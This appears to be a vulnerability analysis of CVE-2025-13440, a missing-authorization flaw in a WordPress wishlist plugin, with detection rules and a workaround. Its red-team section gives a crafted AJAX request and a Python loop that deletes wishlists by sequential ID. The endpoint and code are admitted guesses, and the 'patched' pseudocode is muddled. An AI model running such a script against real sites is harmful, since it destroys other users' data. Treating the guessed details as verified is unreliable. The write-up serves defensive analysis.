CVE-2025-13440

Executive Summary

CVE-2025-13440 is a Missing Authorization vulnerability in the Premmerce Wishlist for WooCommerce WordPress plugin, affecting all versions up to and including 1.1.10. The flaw resides in the deleteWishlist() function, which lacks a proper capability check. This allows authenticated attackers with Subscriber-level access or higher to delete arbitrary wishlists belonging to any user. The vulnerability has a CVSS score of 5.3 (Medium), with a low EPSS score of 0.0% indicating limited active exploitation at the time of analysis. No public proof-of-concept (PoC) or exploit code is currently available, and the patch status remains unknown.

As this is a WordPress plugin vulnerability, the attack surface is limited to WordPress sites running the affected plugin. The impact is primarily on data integrity, as an attacker can delete wishlists, potentially causing user frustration and data loss. No supply chain or package security concerns are present as this is not an NPM, PyPI, Go, or Ruby package.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – Attacker needs Subscriber-level access.
• User Interaction (UI): None – No user action is needed.
• Scope (S): Unchanged – The vulnerable component is the plugin itself.
• Confidentiality (C): None – No data exposure.
• Integrity (I): Low – Wishlist data can be deleted.
• Availability (A): None – No denial of service.

Threat Level: Medium. The vulnerability requires authentication but allows low-privilege users to delete arbitrary wishlists, impacting data integrity.

Deep Dive & Mechanics

The vulnerability is a classic case of Missing Authorization (CWE-862). The deleteWishlist() function in the Premmerce Wishlist plugin is intended to allow users to delete their own wishlists. However, the function does not verify that the authenticated user owns the wishlist being deleted. Instead, it only checks if the user is logged in (authentication) but not if they have the proper capabilities or ownership (authorization).

The function likely accepts a wishlist ID parameter (e.g., via a POST or GET request) and directly executes a deletion query without verifying the user's relationship to that wishlist. An attacker with Subscriber-level access can enumerate wishlist IDs (e.g., by observing other users' wishlists or brute-forcing IDs) and send a crafted request to delete them.

WordPress Ecosystem Context: This is a WordPress plugin vulnerability. The attack is performed against the WordPress REST API or AJAX endpoints exposed by the plugin. The attacker must be authenticated to the WordPress site.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be:

// Vulnerable code (pseudocode)
function deleteWishlist($wishlist_id) {
    global $wpdb;
    $wpdb->delete("{$wpdb->prefix}premmerce_wishlists", array('id' => $wishlist_id));
}

A patched version would include a capability check:

// Patched code (pseudocode)
function deleteWishlist($wishlist_id) {
    if (!current_user_can('edit_others_posts')) { // or check ownership
        wp_die('Unauthorized');
    }
    global $wpdb;
    $wpdb->delete("{$wpdb->prefix}premmerce_wishlists", array('id' => $wishlist_id, 'user_id' => get_current_user_id()));
}

The key difference is the addition of a capability check (e.g., current_user_can()) or a user ID filter in the SQL query.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with the Premmerce Wishlist plugin (version <= 1.1.10) installed and activated.
• An authenticated user account with Subscriber-level privileges.

Exploitation Steps:

1. Enumerate Wishlist IDs: Observe network traffic or use a tool like Burp Suite to identify wishlist IDs. Alternatively, brute-force IDs (e.g., 1, 2, 3...).

2. Craft Deletion Request: Send a POST request to the vulnerable endpoint (likely /wp-admin/admin-ajax.php or a REST API endpoint) with the wishlist ID.

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: target-site.com
   Content-Type: application/x-www-form-urlencoded
   Cookie: wordpress_logged_in_xxx=...
   
   action=delete_wishlist&wishlist_id=123
   

3. Verify Deletion: Check that the wishlist is no longer accessible.

Automated Exploit (Python):

import requests

target = "http://target-site.com"
session = requests.Session()
session.cookies.set("wordpress_logged_in_xxx", "valid_cookie_value")

# Enumerate and delete wishlists
for wishlist_id in range(1, 100):
    data = {
        "action": "delete_wishlist",
        "wishlist_id": wishlist_id
    }
    response = session.post(f"{target}/wp-admin/admin-ajax.php", data=data)
    if response.status_code == 200:
        print(f"Deleted wishlist {wishlist_id}")

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual AJAX requests to admin-ajax.php with the action=delete_wishlist parameter.
• Look for a high volume of deletion requests from a single user.
• Alert on deletion of wishlists by users who are not the owner.

Prevention:

• Apply the vendor patch when available.
• Implement a Web Application Firewall (WAF) rule to block unauthorized deletion requests.
• Restrict Subscriber-level users from accessing admin AJAX actions.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /wp-admin/admin-ajax.php with action=delete_wishlist and a numeric wishlist_id.
  • Repeated requests with sequential or random wishlist IDs from the same IP.

• Host IOCs:

  • Log entries in WordPress debug log showing deletion of wishlists by unexpected users.
  • Missing wishlist data in the database table wp_premmerce_wishlists.

• File IOCs:

  • Modified plugin files (if attacker uploads a backdoor).

Detection Engineering

YARA Rule

rule Detect_CVE_2025_13440_Exploit {
    meta:
        description = "Detects exploitation attempts for CVE-2025-13440 in Premmerce Wishlist plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13440"
    strings:
        $ajax_action = "delete_wishlist"
        $wishlist_id = "wishlist_id="
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-13440 - Premmerce Wishlist Unauthorized Deletion
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects attempts to exploit missing authorization in Premmerce Wishlist plugin
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=delete_wishlist'
    condition: selection
falsepositives:
    - Legitimate wishlist deletion by the owner
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-13440 - Premmerce Wishlist Unauthorized Deletion Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=delete_wishlist"; http_client_body; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Restrict Subscriber-level users from accessing admin AJAX endpoints via .htaccess or a WAF.
3. Monitor logs for suspicious deletion activity.

Long-term Fix:

• Apply the vendor patch when released.
• Implement proper capability checks in custom code.
• Regularly update all WordPress plugins.

Workaround:

• Add a custom function to the theme's functions.php to check user ownership before deletion:

add_action('wp_ajax_delete_wishlist', 'custom_delete_wishlist', 1);
function custom_delete_wishlist() {
    $wishlist_id = intval($_POST['wishlist_id']);
    $user_id = get_current_user_id();
    global $wpdb;
    $wishlist = $wpdb->get_row($wpdb->prepare("SELECT * FROM {$wpdb->prefix}premmerce_wishlists WHERE id = %d", $wishlist_id));
    if ($wishlist && $wishlist->user_id != $user_id) {
        wp_die('Unauthorized');
    }
}

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst